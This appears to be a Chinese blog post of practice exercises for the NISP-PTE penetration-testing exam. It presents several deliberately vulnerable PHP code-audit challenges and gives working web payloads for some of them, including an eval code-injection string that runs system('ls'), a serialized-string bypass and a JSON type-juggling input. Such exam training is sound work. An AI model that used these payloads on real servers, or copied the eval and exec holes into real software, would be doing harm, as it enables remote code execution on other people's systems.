NISP-PTE基础实操——代码审计

发布于:2025-07-22 ⋅ 阅读:(12) ⋅ 点赞:(0)

pte代码审计模拟1

源代码如下:

<?php 
error_reporting(0); 
$a = $_GET['a']; 
eval("\$ret = strtolower(\"$a\");"); 
echo $ret; 
show_source(__FILE__); 
?>
  • 接收参数 $a,构造为:

    eval("$ret = strtolower(\"$a\");");

  • eval() 动态执行,构成代码注入点;

  • show_source(__FILE__) 可看到源码,确认存在 eval()

  • strtolower() 是幌子,核心漏洞在于 $a无过滤拼接进 eval 字符串,可以闭合字符串并注入任意语句。

🚨 1. 漏洞本质

  • 代码注入 + eval 执行

  • 你可以闭合 strtolower(") 后直接注入任意 PHP 代码;

  • 攻击载荷执行在服务器端,能使用的函数包括 system()passthru()shell_exec()file_get_contents() 等。

🚀 2. 验证 RCE 是否可行

测试命令执行:

/index.php?a=");system("ls");//

执行逻辑还原:

eval('$ret = strtolower("");system("ls");//");');

此时 system("ls") 被执行,终端结果回显。

/index.php?a=");system("ls

pte代码审计模拟2

<?php
error_reporting(0); 
show_source(__FILE__);
if(strlen($_GET[1]<30)){
    echo strlen($_GET[1]);
    echo exec($_GET[1]);
}else{
    exit('too more');
}
?>

pte代码审计模拟3

<?php
error_reporting(0);
include "flag.php";
$TEMP = "CISP";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)
{
    echo "$flag";
}
show_source(__FILE__);

/index.php?str=s:4:"CISP";
/index.php?str=s%3A4%3A"CISP"%3B 

pte代码审计模拟4

<?php
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {
    is_numeric(@$a["bar1"]) ? die("nope") : NULL;
    if (@$a["bar1"]) {
        ($a["bar1"] > 2020) ? $v1 = 1 : NULL;
    }
    if (is_array(@$a["bar2"])) {
        if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
            die("nope");
        }
        $pos = array_search("cisp-pte", $a["bar3"]);
        $pos === false ? die("nope") : NULL;
        foreach ($a["bar2"] as $key => $val) {
            $val == "cisp-pte" ? die("nope") : NULL;
        }
        $v2 = 1;
    }
}
if ($v1 && $v2) {
    include "key.php";
    echo $key;
}
highlight_file(__file__);
?>

/?w={"bar1":"2025a","bar2":[[],"a","b","c","d"],"bar3":["cisp-pte"]}

 

pte代码审计模拟6

阅读源码,获取flag。


$tis = "我们可以让您生活更轻松";

$gp = $_GET['cx'];


if($gp) {

if(preg_match("/[0-9]/", $gp)) {

$tis = "输入的只能是字符";

} else {

if(intval($gp)) {

$flag = @file_get_contents("../../../flag.txt");

if($flag === false) {

$flag = "flag{file_not_found}";

}

$tis = $flag;

} else {

$tis = "只差一步就可以拿到Flag";

}

}

}

?>

pte代码审计模拟7

pte代码审计模拟8

某些PHP intval函数在处理时会出现些问题!


$gp = isset($_GET['cx']) ? $_GET['cx'] : '';


if ($gp) {

if(intval(" .$gp.")<1001 && intval($gp +1)>10000){

$flag = file_get_contents("../../../flag.txt");

$tis = "验证通过!Flag: " . $flag;

$class = "success";

} else {

$tis = "验证失败,请检查输入参数";

$class = "error";

}

} else {

$tis = "请输入测试参数";

$class = "error";

}

 

pte代码审计模拟9

一个json对象搞定 

pte代码审计模拟10

O:4:"User":1:{s:5:"admin";O:5:"Admin":0:{}}


网站公告

今日签到

点亮在社区的每一天
去签到